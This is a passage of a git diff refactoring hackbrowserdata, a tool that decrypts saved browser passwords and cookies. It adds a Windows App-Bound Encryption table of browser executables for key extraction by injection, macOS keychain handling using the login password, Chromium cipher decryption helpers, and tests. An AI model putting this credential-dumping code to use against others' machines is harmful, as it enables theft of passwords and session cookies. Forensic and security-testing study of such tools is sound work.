diff --git a/browser/abe_windows.go b/browser/abe_windows.go new file mode 100644 index 0000000..ae57c45 --- /dev/null +++ b/browser/abe_windows.go @@ -0,0 +1,60 @@ +//go:build windows + +package browser + +import "github.com/moond4rk/hackbrowserdata/internal/masterkey" + +// abeTarget is a Windows ABE browser's executable and elevation-service dialect, keyed by BrowserConfig.Key. +// It stays beside the browser table until browser.Def.Platform absorbs it. +type abeTarget struct { + exe string + fallbacks []string + kind masterkey.ABEKind +} + +var abeTargets = map[string]abeTarget{ + "chrome": { + exe: "chrome.exe", + fallbacks: []string{ + `%ProgramFiles%\Google\Chrome\Application\chrome.exe`, + `%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`, + `%LocalAppData%\Google\Chrome\Application\chrome.exe`, + }, + kind: masterkey.ABEChromeBase, + }, + "chrome-beta": { + exe: "chrome.exe", + fallbacks: []string{ + `%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`, + `%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`, + `%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`, + }, + kind: masterkey.ABEChromeBase, + }, + "edge": { + exe: "msedge.exe", + fallbacks: []string{ + `%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`, + `%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`, + }, + kind: masterkey.ABEEdge, + }, + "brave": { + exe: "brave.exe", + fallbacks: []string{ + `%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`, + `%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`, + `%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`, + }, + kind: masterkey.ABEChromeBase, + }, + "coccoc": { + exe: "browser.exe", + fallbacks: []string{ + `%ProgramFiles%\CocCoc\Browser\Application\browser.exe`, + `%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`, + `%LocalAppData%\CocCoc\Browser\Application\browser.exe`, + }, + kind: masterkey.ABEChromeBase, + }, +} diff --git a/browser/browser.go b/browser/browser.go index d619fe8..46a0581 100644 --- a/browser/browser.go +++ b/browser/browser.go @@ -11,7 +11,7 @@ import ( "github.com/moond4rk/hackbrowserdata/browser/safari" "github.com/moond4rk/hackbrowserdata/internal/category" "github.com/moond4rk/hackbrowserdata/internal/log" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -94,8 +94,9 @@ func discoverFromConfigs(configs []types.BrowserConfig, opts DiscoverOptions) ([ // KeyManager is implemented by installations accepting external master-key retrievers (Chromium only). // BrowserKey/Kind expose the identity a portable dump needs to rebuild the engine off the platform table. type KeyManager interface { - SetRetrievers(masterkey.Retrievers) - ExportKeys() (masterkey.MasterKeys, error) + SetLocator(masterkey.Locator) // live: the run's cross-cutting key sources (macOS keychain, Windows ABE exe) + SetKeys(masterkey.Set) // restore: keys already known from a dump + ExportKeys() (masterkey.Set, error) BrowserKey() string Kind() types.BrowserKind } diff --git a/browser/browser_darwin.go b/browser/browser_darwin.go index 05d0c2e..6dd72c9 100644 --- a/browser/browser_darwin.go +++ b/browser/browser_darwin.go @@ -3,14 +3,17 @@ package browser import ( + "context" "fmt" "os" + "path/filepath" "github.com/moond4rk/keychainbreaker" "golang.org/x/term" + "github.com/moond4rk/hackbrowserdata/internal/keychain" "github.com/moond4rk/hackbrowserdata/internal/log" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -108,6 +111,15 @@ func platformBrowsers() []types.BrowserConfig { } } +// loginKeychainPath is the per-user login keychain the run reads Chromium v10 secrets from. +func loginKeychainPath() string { + home, err := os.UserHomeDir() + if err != nil { + return "" + } + return filepath.Join(home, "Library", "Keychains", "login.keychain-db") +} + // resolveKeychainPassword resolves the macOS login password (CLI flag, else TTY prompt) and verifies it against // keychainbreaker. On any failure it returns "" so callers fall back to no-password mode rather than a known-bad credential. func resolveKeychainPassword(flagPassword string) string { @@ -146,27 +158,28 @@ func resolveKeychainPassword(flagPassword string) string { return password } -// newCredentialInjector lazily wires retrievers (and the macOS keychain password) into each Browser; -// `-b firefox` never triggers a keychain prompt because lazy resolution skips browsers that need neither. +// newCredentialInjector lazily resolves the macOS login password and hands every Chromium browser the run's +// login keychain; `-b firefox` never triggers a prompt because resolution is skipped for browsers that need neither. func newCredentialInjector(opts DiscoverOptions) browserInjector { var ( - password string - retrievers masterkey.Retrievers - resolved bool + password string + kc *keychain.Keychain + resolved bool ) return func(b Browser) { - km, needsRetrievers := b.(KeyManager) + km, needsKeychain := b.(KeyManager) kps, needsKeychainPassword := b.(KeychainPasswordReceiver) - if !needsRetrievers && !needsKeychainPassword { + if !needsKeychain && !needsKeychainPassword { return } if !resolved { password = resolveKeychainPassword(opts.KeychainPassword) - retrievers = masterkey.DefaultRetrievers(password) + pw := password + kc = keychain.New(loginKeychainPath(), func(context.Context) (string, error) { return pw, nil }) resolved = true } - if needsRetrievers { - km.SetRetrievers(retrievers) + if needsKeychain { + km.SetLocator(masterkey.Locator{Keychain: kc}) } if needsKeychainPassword { kps.SetKeychainPassword(password) diff --git a/browser/browser_linux.go b/browser/browser_linux.go index f7a5df9..8912ff5 100644 --- a/browser/browser_linux.go +++ b/browser/browser_linux.go @@ -3,7 +3,6 @@ package browser import ( - "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -67,13 +66,8 @@ func platformBrowsers() []types.BrowserConfig { } } -// newCredentialInjector wires the Linux Chromium retrievers: V10 ("peanuts" hardcoded) and V11 (D-Bus Secret Service), -// run independently for mixed-cipher profiles. V20 is nil — App-Bound Encryption is Windows-only. +// newCredentialInjector is a no-op on Linux: RetrieveAll runs the peanuts (v10) and D-Bus keyring (v11) +// retrievers itself, and a Chromium browser builds the rest of its Locator from its own config. func newCredentialInjector(_ DiscoverOptions) browserInjector { - retrievers := masterkey.DefaultRetrievers() - return func(b Browser) { - if km, ok := b.(KeyManager); ok { - km.SetRetrievers(retrievers) - } - } + return func(Browser) {} } diff --git a/browser/browser_windows.go b/browser/browser_windows.go index 48894f4..8a84968 100644 --- a/browser/browser_windows.go +++ b/browser/browser_windows.go @@ -3,7 +3,7 @@ package browser import ( - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -131,13 +131,16 @@ func platformBrowsers() []types.BrowserConfig { } } -// newCredentialInjector wires the Windows Chromium retrievers: v10 (DPAPI) and v20 (ABE). The two tiers are orthogonal -// — a pre-127-upgraded profile carries v20 cookies alongside v10 passwords — so both run independently, not as a chain. +// newCredentialInjector hands each ABE browser its executable and dialect; RetrieveAll runs v10 (DPAPI) and, +// when the Locator carries an ABE kind, v20 (reflective injection) — both, since an upgraded profile mixes them. func newCredentialInjector(_ DiscoverOptions) browserInjector { - retrievers := masterkey.DefaultRetrievers() return func(b Browser) { - if km, ok := b.(KeyManager); ok { - km.SetRetrievers(retrievers) + km, ok := b.(KeyManager) + if !ok { + return + } + if target, ok := abeTargets[km.BrowserKey()]; ok { + km.SetLocator(masterkey.Locator{Exe: target.exe, ExeFallbacks: target.fallbacks, ABE: target.kind}) } } } diff --git a/browser/browser_windows_test.go b/browser/browser_windows_test.go index ef8944c..c3ec983 100644 --- a/browser/browser_windows_test.go +++ b/browser/browser_windows_test.go @@ -5,16 +5,13 @@ package browser import ( "testing" - "github.com/moond4rk/hackbrowserdata/utils/winutil" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) -// TestWinUtilTableCoversABEBrowsers verifies that the set of Windows browsers -// with WindowsABE: true in platformBrowsers() exactly matches the set of -// winutil.Table entries that declare ABE support (keyed by BrowserConfig.Key == -// winutil.Entry.Key). A mismatch means adding a new Chromium fork was -// incomplete: either a BrowserConfig row is missing WindowsABE: true, or -// winutil.Table has a stale/missing entry. -func TestWinUtilTableCoversABEBrowsers(t *testing.T) { +// TestABETargetsCoverABEBrowsers verifies that the browsers with WindowsABE: true in platformBrowsers() +// are exactly the keys in abeTargets. A mismatch means adding a Chromium fork was incomplete: either a +// BrowserConfig row is missing WindowsABE: true, or abeTargets has a stale or missing entry. +func TestABETargetsCoverABEBrowsers(t *testing.T) { abeConfigs := make(map[string]struct{}) for _, b := range platformBrowsers() { if b.WindowsABE { @@ -22,24 +19,48 @@ func TestWinUtilTableCoversABEBrowsers(t *testing.T) { } } - abeTable := make(map[string]struct{}) - for key, entry := range winutil.Table { - if entry.Key != key { - t.Errorf("winutil.Table[%q].Key = %q; map key and Entry.Key must match (winutil.Entry doc invariant)", key, entry.Key) + for key, target := range abeTargets { + if target.exe == "" { + t.Errorf("abeTargets[%q] has no executable name", key) } - if entry.ABE != winutil.ABENone { - abeTable[key] = struct{}{} + if target.kind == masterkey.ABENone { + t.Errorf("abeTargets[%q] declares no ABE kind", key) } - } - - for key := range abeTable { if _, ok := abeConfigs[key]; !ok { - t.Errorf("winutil.Table[%q] declares ABE support but no BrowserConfig with Key %q sets WindowsABE: true — either fix the table or set WindowsABE: true in platformBrowsers()", key, key) + t.Errorf("abeTargets[%q] has an entry but no BrowserConfig with Key %q sets WindowsABE: true", key, key) } } for key := range abeConfigs { - if _, ok := abeTable[key]; !ok { - t.Errorf("BrowserConfig with Key %q sets WindowsABE: true but winutil.Table[%q] is missing or declares no ABE — add the table entry", key, key) + if _, ok := abeTargets[key]; !ok { + t.Errorf("BrowserConfig with Key %q sets WindowsABE: true but abeTargets[%q] is missing", key, key) } } } + +type locatorRecorder struct { + mockChromiumBrowser + got *masterkey.Locator +} + +func (r *locatorRecorder) SetLocator(loc masterkey.Locator) { r.got = &loc } + +// A lost ABE hand-off silently disables v20 decryption on Windows, so the injector's wiring is pinned here. +func TestCredentialInjector_HandsABEBrowsersTheirTarget(t *testing.T) { + inject := newCredentialInjector(DiscoverOptions{}) + + chrome := &locatorRecorder{mockChromiumBrowser: mockChromiumBrowser{key: "chrome"}} + inject(chrome) + if chrome.got == nil { + t.Fatal("chrome got no Locator") + } + want := abeTargets["chrome"] + if chrome.got.Exe != want.exe || chrome.got.ABE != want.kind || len(chrome.got.ExeFallbacks) != len(want.fallbacks) { + t.Errorf("chrome Locator = %+v, want exe %q, kind %v, %d fallbacks", *chrome.got, want.exe, want.kind, len(want.fallbacks)) + } + + opera := &locatorRecorder{mockChromiumBrowser: mockChromiumBrowser{key: "opera"}} + inject(opera) + if opera.got != nil { + t.Errorf("opera has no ABE, so it keeps DPAPI only; got Locator %+v", *opera.got) + } +} diff --git a/browser/chromium/chromium.go b/browser/chromium/chromium.go index 7367476..e808ff3 100644 --- a/browser/chromium/chromium.go +++ b/browser/chromium/chromium.go @@ -1,6 +1,7 @@ package chromium import ( + "context" "os" "path/filepath" "sync" @@ -8,7 +9,7 @@ import ( "github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/internal/category" "github.com/moond4rk/hackbrowserdata/internal/log" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/fileutil" ) @@ -16,16 +17,18 @@ import ( // Browser is one Chromium installation: a single UserDataDir holding profiles // that share a master key. The key is derived once and reused across profiles. type Browser struct { - cfg types.BrowserConfig - retrievers masterkey.Retrievers - profiles []*profile + cfg types.BrowserConfig + locator masterkey.Locator // cross-cutting bits the injector adds (macOS keychain, Windows ABE); live only + static masterkey.Set // keys known from a dump; restore skips retrieval + isStatic bool + profiles []*profile keysOnce sync.Once - keys masterkey.MasterKeys + keys masterkey.Set } // NewBrowser discovers the profiles under cfg.UserDataDir, or returns nil if none resolve. -// Call SetRetrievers before Extract to enable decryption. +// Call SetLocator (live) or SetKeys (restore) before Extract to enable decryption. func NewBrowser(cfg types.BrowserConfig) (*Browser, error) { sources := sourcesForKind(cfg.Kind) extractors := extractorsForKind(cfg.Kind) @@ -50,9 +53,11 @@ func NewBrowser(cfg types.BrowserConfig) (*Browser, error) { return &Browser{cfg: cfg, profiles: profiles}, nil } -// SetRetrievers wires the per-tier master-key retrievers (V10/V11/V20) used by -// Extract; unused tiers stay nil. -func (b *Browser) SetRetrievers(r masterkey.Retrievers) { b.retrievers = r } +// SetLocator adds the live run's cross-cutting key sources — the macOS login keychain, the Windows ABE executable. +func (b *Browser) SetLocator(loc masterkey.Locator) { b.locator = loc } + +// SetKeys supplies keys already known from a dump, so restore decrypts without touching any OS secret store. +func (b *Browser) SetKeys(keys masterkey.Set) { b.static, b.isStatic = keys, true } func (b *Browser) BrowserName() string { return b.cfg.Name } func (b *Browser) BrowserKey() string { return b.cfg.Key } @@ -93,21 +98,24 @@ func (b *Browser) CountEntries(categories []category.Category) ([]types.CountRes return results, nil } -// ExportKeys derives the master keys without extracting. Returns the tiers that succeeded plus a +// ExportKeys derives the master keys without extracting. Returns the versions that succeeded plus a // joined error for those that failed — partial results matter (a v20-only failure keeps the v10 key). -func (b *Browser) ExportKeys() (masterkey.MasterKeys, error) { +func (b *Browser) ExportKeys() (masterkey.Set, error) { + if b.isStatic { + return b.static, nil + } session, err := filemanager.NewSession() if err != nil { - return masterkey.MasterKeys{}, err + return masterkey.Set{}, err } defer session.Cleanup() - return masterkey.NewMasterKeys(b.retrievers, b.buildHints(session)) + return masterkey.RetrieveAll(context.Background(), b.buildLocator(session)) } // masterKeys derives and caches the installation's keys exactly once (sync.Once), so a failure is // warned once — no cross-profile dedup state needed. -func (b *Browser) masterKeys() masterkey.MasterKeys { +func (b *Browser) masterKeys() masterkey.Set { b.keysOnce.Do(func() { masterKeys, err := b.ExportKeys() if err != nil { @@ -118,29 +126,21 @@ func (b *Browser) masterKeys() masterkey.MasterKeys { return b.keys } -// buildHints copies Local State into the session temp dir (so Windows DPAPI/ABE retrievers read it -// from a process-owned path) and assembles the Hints. Local State sits at the installation root. -func (b *Browser) buildHints(session *filemanager.Session) masterkey.Hints { - var localStateDst string +// buildLocator copies Local State into the session temp dir (so Windows DPAPI/ABE retrievers read it +// from a process-owned path) and fills in the dir's own fields; the injector added the rest. +func (b *Browser) buildLocator(session *filemanager.Session) masterkey.Locator { + loc := b.locator + loc.KeychainLabel = b.cfg.KeychainLabel candidate := filepath.Join(b.cfg.UserDataDir, "Local State") if fileutil.FileExists(candidate) { dst := filepath.Join(session.TempDir(), "Local State") if err := session.Acquire(candidate, dst, false); err != nil { log.Debugf("acquire Local State for %s: %v", b.BrowserName(), err) } else { - localStateDst = dst + loc.LocalState = dst } } - - abeKey := "" - if b.cfg.WindowsABE { - abeKey = b.cfg.Key - } - return masterkey.Hints{ - KeychainLabel: b.cfg.KeychainLabel, - WindowsABEKey: abeKey, - LocalStatePath: localStateDst, - } + return loc } // discoverProfiles lists subdirectories of userDataDir that are valid diff --git a/browser/chromium/chromium_test.go b/browser/chromium/chromium_test.go index daf4f9e..62c880a 100644 --- a/browser/chromium/chromium_test.go +++ b/browser/chromium/chromium_test.go @@ -9,7 +9,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/internal/category" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -419,158 +419,29 @@ func TestLocalStatePath(t *testing.T) { } // --------------------------------------------------------------------------- -// getMasterKeys +// Keys // --------------------------------------------------------------------------- -// mockRetriever records the arguments passed to RetrieveKey. -type mockRetriever struct { - hints masterkey.Hints - key []byte - err error - called bool -} +// Live key retrieval (per-version first-key-wins, ABE dispatch) is tested in the masterkey package; +// here the Browser only has to carry the keys a dump hands it and surface an empty Set when it has none. -func (m *mockRetriever) RetrieveKey(hints masterkey.Hints) ([]byte, error) { - m.called = true - m.hints = hints - return m.key, m.err -} - -func TestGetMasterKeys(t *testing.T) { - // getMasterKeys routes through masterkey.NewMasterKeys on every platform — the V10 mock - // wired via SetRetrievers(Retrievers{V10: mock}) is consulted cross-platform. - - // Profile directory without Local State file. - dirNoLocalState := t.TempDir() - mkFile(dirNoLocalState, "Default", "Preferences") - mkFile(dirNoLocalState, "Default", "History") - - tests := []struct { - name string - dir string - keychainLabel string - retriever masterkey.Retriever // nil → don't call SetRetrievers - wantV10 []byte - wantKeychainLabel string - wantLocalState bool // whether localStatePath passed to retriever is non-empty - }{ - { - name: "nil retriever yields empty keys", - dir: fixture.chrome, - }, - { - name: "with Local State passes path to retriever", - dir: fixture.chrome, - keychainLabel: "Chrome", - retriever: &mockRetriever{key: []byte("fake-master-key")}, - wantV10: []byte("fake-master-key"), - wantKeychainLabel: "Chrome", - wantLocalState: true, - }, - { - name: "without Local State passes empty path", - dir: dirNoLocalState, - keychainLabel: "Chromium", - retriever: &mockRetriever{key: []byte("derived-key")}, - wantV10: []byte("derived-key"), - wantKeychainLabel: "Chromium", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - b, err := NewBrowser(types.BrowserConfig{ - Name: "Test", Kind: types.Chromium, UserDataDir: tt.dir, KeychainLabel: tt.keychainLabel, - }) - require.NoError(t, err) - require.NotNil(t, b) - - if tt.retriever != nil { - b.SetRetrievers(masterkey.Retrievers{V10: tt.retriever}) - } - - mk := b.masterKeys() - assert.Equal(t, tt.wantV10, mk.V10) - assert.Nil(t, mk.V11, "V11 stays nil when no v11 retriever is wired") - assert.Nil(t, mk.V20, "V20 stays nil when no v20 retriever is wired") - - if tt.retriever == nil { - return - } - mock, ok := tt.retriever.(*mockRetriever) - require.True(t, ok) - assert.True(t, mock.called) - assert.Equal(t, tt.wantKeychainLabel, mock.hints.KeychainLabel) - if tt.wantLocalState { - assert.NotEmpty(t, mock.hints.LocalStatePath) - } else { - assert.Empty(t, mock.hints.LocalStatePath) - } - }) - } -} - -// TestGetMasterKeys_AllTiersInvoked is the mixed-tier regression test at the getMasterKeys layer. -// Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a -// profile mixing prefixes silently lost the un-retrieved tier. After the refactor every -// configured tier must be called exactly once and its key must land in the matching MasterKeys -// slot. This catches any future "bypass the masterkey package for a faster path" regression and covers the -// analogous Linux v10/v11 case — no platform silently drops a tier any more. -func TestGetMasterKeys_AllTiersInvoked(t *testing.T) { - v10mock := &mockRetriever{key: []byte("fake-v10-key")} - v11mock := &mockRetriever{key: []byte("fake-v11-key")} - v20mock := &mockRetriever{key: []byte("fake-v20-key")} - - b, err := NewBrowser(types.BrowserConfig{ - Name: "Test", Kind: types.Chromium, UserDataDir: fixture.chrome, KeychainLabel: "Chrome", - }) +func TestMasterKeys_StaticFromDump(t *testing.T) { + keys := masterkey.Set{masterkey.V10: []byte("k10"), masterkey.V20: []byte("k20")} + b, err := NewBrowser(types.BrowserConfig{Name: "Test", Kind: types.Chromium, UserDataDir: fixture.chrome}) require.NoError(t, err) require.NotNil(t, b) - b.SetRetrievers(masterkey.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock}) - - mk := b.masterKeys() - assert.Equal(t, []byte("fake-v10-key"), mk.V10, "V10 slot must be populated") - assert.Equal(t, []byte("fake-v11-key"), mk.V11, "V11 slot must be populated") - assert.Equal(t, []byte("fake-v20-key"), mk.V20, "V20 slot must be populated") - assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass") - assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass") - assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass") - for _, m := range []*mockRetriever{v10mock, v11mock, v20mock} { - assert.Equal(t, "Chrome", m.hints.KeychainLabel) - assert.NotEmpty(t, m.hints.LocalStatePath, "Local State path must be passed to every retriever") - } + b.SetKeys(keys) + assert.Equal(t, keys, b.masterKeys()) } -// TestGetMasterKeys_WindowsABEThreading pins cfg.WindowsABE → hints.WindowsABEKey threading. A -// regression here silently disables Windows ABE decryption with no dev-box-test signal — only the -// windows-tunnel sandbox 574-cookie regression would catch it — so it must be pinned at unit level. -func TestGetMasterKeys_WindowsABEThreading(t *testing.T) { - tests := []struct { - name string - key string - windowsABE bool - wantABEKey string - }{ - {"WindowsABE=true threads cfg.Key into hints.WindowsABEKey", "chrome", true, "chrome"}, - {"WindowsABE=false leaves hints.WindowsABEKey empty", "opera", false, ""}, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - mock := &mockRetriever{key: []byte("k")} - b, err := NewBrowser(types.BrowserConfig{ - Key: tt.key, Name: "Test", Kind: types.Chromium, - UserDataDir: fixture.chrome, WindowsABE: tt.windowsABE, - }) - require.NoError(t, err) - require.NotNil(t, b) +func TestMasterKeys_EmptyDumpYieldsEmptySet(t *testing.T) { + b, err := NewBrowser(types.BrowserConfig{Name: "Test", Kind: types.Chromium, UserDataDir: fixture.chrome}) + require.NoError(t, err) + require.NotNil(t, b) - b.SetRetrievers(masterkey.Retrievers{V20: mock}) - - b.masterKeys() - assert.Equal(t, tt.wantABEKey, mock.hints.WindowsABEKey) - }) - } + b.SetKeys(masterkey.Set{}) + assert.Empty(t, b.masterKeys(), "a dump with no keys for this browser decrypts nothing, rather than crashing") } // --------------------------------------------------------------------------- @@ -583,18 +454,11 @@ func TestExtract(t *testing.T) { installFile(t, filepath.Join(dir, "Default"), setupHistoryDB(t), "History") tests := []struct { - name string - retriever masterkey.Retriever // nil → don't call SetRetriever - wantRetriever bool // whether retriever should be called + name string + keys masterkey.Set }{ - { - name: "without retriever extracts unencrypted data", - }, - { - name: "with mock retriever", - retriever: &mockRetriever{key: []byte("test-key-16bytes")}, - wantRetriever: true, - }, + {name: "without keys extracts unencrypted data", keys: masterkey.Set{}}, + {name: "with dump keys", keys: masterkey.Set{masterkey.V10: []byte("test-key-16byte0")}}, } for _, tt := range tests { @@ -605,9 +469,8 @@ func TestExtract(t *testing.T) { require.NoError(t, err) require.NotNil(t, b) - if tt.retriever != nil { - b.SetRetrievers(masterkey.Retrievers{V10: tt.retriever}) - } + // Even an empty Set is needed: without SetKeys, Extract queries the host's real secret stores. + b.SetKeys(tt.keys) results, err := b.Extract([]category.Category{category.History}) require.NoError(t, err) @@ -615,12 +478,6 @@ func TestExtract(t *testing.T) { require.NotNil(t, results[0].Data) require.Len(t, results[0].Data.Histories, 3) assert.Equal(t, "GitHub", results[0].Data.Histories[0].Title) - - if tt.wantRetriever { - mock, ok := tt.retriever.(*mockRetriever) - require.True(t, ok) - assert.True(t, mock.called) - } }) } } @@ -671,13 +528,11 @@ func TestCountEntries_NoRetrieverNeeded(t *testing.T) { assert.Equal(t, 2, results[0].Counts[category.Password]) } -// --------------------------------------------------------------------------- -// SetRetrievers: verify *Browser satisfies the interface used by -// browser.discoverFromConfigs for post-construction retriever injection. -// --------------------------------------------------------------------------- - -func TestSetRetrievers_SatisfiesInterface(t *testing.T) { +// *Browser must satisfy the key-injection shape app uses after construction (live Locator or dump keys). +func TestBrowser_SatisfiesKeyManager(t *testing.T) { var _ interface { - SetRetrievers(masterkey.Retrievers) + SetLocator(masterkey.Locator) + SetKeys(masterkey.Set) + ExportKeys() (masterkey.Set, error) } = (*Browser)(nil) } diff --git a/browser/chromium/cipher.go b/browser/chromium/cipher.go new file mode 100644 index 0000000..6230ace --- /dev/null +++ b/browser/chromium/cipher.go @@ -0,0 +1,99 @@ +package chromium + +import ( + "bytes" + "crypto/aes" + "crypto/sha1" + "errors" + + "github.com/moond4rk/hackbrowserdata/internal/crypto" +) + +// cipherVersion represents the encryption version used by Chromium browsers. +type cipherVersion string + +const ( + // cipherV10 is Chrome 80+ encryption (AES-GCM on Windows, AES-CBC on macOS/Linux). + cipherV10 cipherVersion = "v10" + + // cipherV11 is the Linux-only AES-CBC variant where the key comes from + // libsecret / kwallet. Same algorithm as cipherV10; only the key source differs. + cipherV11 cipherVersion = "v11" + + // cipherV20 is Chrome 127+ App-Bound Encryption. + cipherV20 cipherVersion = "v20" + + // cipherV12 is Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) tier — + // HKDF-SHA256 + AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. + // Recognized by detectVersion so decryptValue can emit a known-gap error rather than a + // generic "unsupported cipher version" message; not yet implemented. + cipherV12 cipherVersion = "v12" + + // cipherDPAPI is pre-Chrome 80 raw DPAPI encryption (no version prefix). + cipherDPAPI cipherVersion = "dpapi" + + versionPrefixLen = 3 +) + +// detectVersion identifies the encryption version from a ciphertext prefix. +func detectVersion(ciphertext []byte) cipherVersion { + if len(ciphertext) < versionPrefixLen { + return cipherDPAPI + } + prefix := string(ciphertext[:versionPrefixLen]) + switch prefix { + case "v10": + return cipherV10 + case "v11": + return cipherV11 + case "v12": + return cipherV12 + case "v20": + return cipherV20 + default: + return cipherDPAPI + } +} + +var errShortCiphertext = errors.New("ciphertext too short") + +// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20 +// cipher formats. Cross-platform because the v20 ciphertext layout is the +// same regardless of host OS (only Windows currently produces v20). +const gcmNonceSize = 12 + +// chromiumCBCIV is the fixed IV Chromium uses for AES-CBC v10/v11 (macOS/Linux). +var chromiumCBCIV = bytes.Repeat([]byte{0x20}, aes.BlockSize) + +// kEmptyKey is Chromium's decrypt-only fallback for data corrupted by a KWallet +// race in Chrome ~89 (crbug.com/40055416). Matches kEmptyKey in os_crypt_linux.cc. +var kEmptyKey = crypto.PBKDF2Key([]byte(""), []byte("saltysalt"), 1, 16, sha1.New) + +// decryptGCM decrypts a prefixed AES-GCM blob: version(3B)+nonce(12B)+ct+tag. +// Used by Windows v10 (AES-256) and v20; the layout is identical and platform-neutral. +func decryptGCM(key, ciphertext []byte) ([]byte, error) { + if len(ciphertext) < versionPrefixLen+gcmNonceSize { + return nil, errShortCiphertext + } + nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize] + payload := ciphertext[versionPrefixLen+gcmNonceSize:] + return crypto.AESGCMDecrypt(key, nonce, payload) +} + +// decryptCBC decrypts a prefixed AES-CBC blob (version(3B)+ct) with Chromium's +// fixed IV, retrying with kEmptyKey to recover crbug.com/40055416 KWallet-corrupted data. +// Used by macOS/Linux v10 and Linux v11 (both AES-128). +func decryptCBC(key, ciphertext []byte) ([]byte, error) { + if len(ciphertext) < versionPrefixLen+aes.BlockSize { + return nil, errShortCiphertext + } + payload := ciphertext[versionPrefixLen:] + plaintext, err := crypto.AESCBCDecrypt(key, chromiumCBCIV, payload) + if err == nil { + return plaintext, nil + } + if alt, altErr := crypto.AESCBCDecrypt(kEmptyKey, chromiumCBCIV, payload); altErr == nil { + return alt, nil + } + return nil, err +} diff --git a/browser/chromium/cipher_test.go b/browser/chromium/cipher_test.go new file mode 100644 index 0000000..72ced53 --- /dev/null +++ b/browser/chromium/cipher_test.go @@ -0,0 +1,101 @@ +package chromium + +import ( + "bytes" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/internal/crypto" +) + +func TestDetectVersion(t *testing.T) { + tests := []struct { + name string + ciphertext []byte + want cipherVersion + }{ + {"v10 prefix", []byte("v10" + "encrypted_data"), cipherV10}, + {"v11 prefix", []byte("v11" + "encrypted_data"), cipherV11}, + {"v12 prefix", []byte("v12" + "encrypted_data"), cipherV12}, + {"v20 prefix", []byte("v20" + "encrypted_data"), cipherV20}, + {"no prefix (DPAPI)", []byte{0x01, 0x00, 0x00, 0x00}, cipherDPAPI}, + {"short input", []byte{0x01, 0x02}, cipherDPAPI}, + {"empty input", []byte{}, cipherDPAPI}, + {"nil input", nil, cipherDPAPI}, + {"unknown prefix", []byte("xyz_data"), cipherDPAPI}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equal(t, tt.want, detectVersion(tt.ciphertext)) + }) + } +} + +// --- Cross-OS Chromium v10/v11 decryption --- +// decryptGCM / decryptCBC are platform-neutral, so these run on every +// GOOS and prove a key dumped on one platform decrypts that platform's data anywhere. + +var ( + // cbcKey is the 16-byte AES-128-CBC tier (macOS/Linux v10/v11); gcmKey the 32-byte AES-256-GCM tier (Windows v10 / v20). + cbcKey = bytes.Repeat([]byte("moond4rk"), 2) + gcmKey = bytes.Repeat([]byte("moond4rk"), 4) + gcmNonce = cbcKey[:12] +) + +func TestDecryptGCM_CrossPlatform(t *testing.T) { + plaintext := []byte("windows_v10_value") + gcm, err := crypto.AESGCMEncrypt(gcmKey, gcmNonce, plaintext) + require.NoError(t, err) + + ciphertext := append([]byte("v10"), append(gcmNonce, gcm...)...) + got, err := decryptGCM(gcmKey, ciphertext) + require.NoError(t, err) + assert.Equal(t, plaintext, got) +} + +func TestDecryptCBC_CrossPlatform(t *testing.T) { + plaintext := []byte("posix_v10_value") + enc, err := crypto.AESCBCEncrypt(cbcKey, chromiumCBCIV, plaintext) + require.NoError(t, err) + + ciphertext := append([]byte("v10"), enc...) + got, err := decryptCBC(cbcKey, ciphertext) + require.NoError(t, err) + assert.Equal(t, plaintext, got) +} + +// TestKEmptyKey_MatchesChromium pins the runtime-derived kEmptyKey to Chromium's +// reference bytes in os_crypt_linux.cc; now cross-platform since kEmptyKey is +// defined for every GOOS. +func TestKEmptyKey_MatchesChromium(t *testing.T) { + want := []byte{ + 0xd0, 0xd0, 0xec, 0x9c, 0x7d, 0x77, 0xd4, 0x3a, + 0xc5, 0x41, 0x87, 0xfa, 0x48, 0x18, 0xd1, 0x7f, + } + assert.Equal(t, want, kEmptyKey) + assert.Len(t, kEmptyKey, 16) +} + +func TestDecryptCBC_EmptyKeyFallback(t *testing.T) { + plaintext := []byte("legacy_kwallet_value") + encrypted, err := 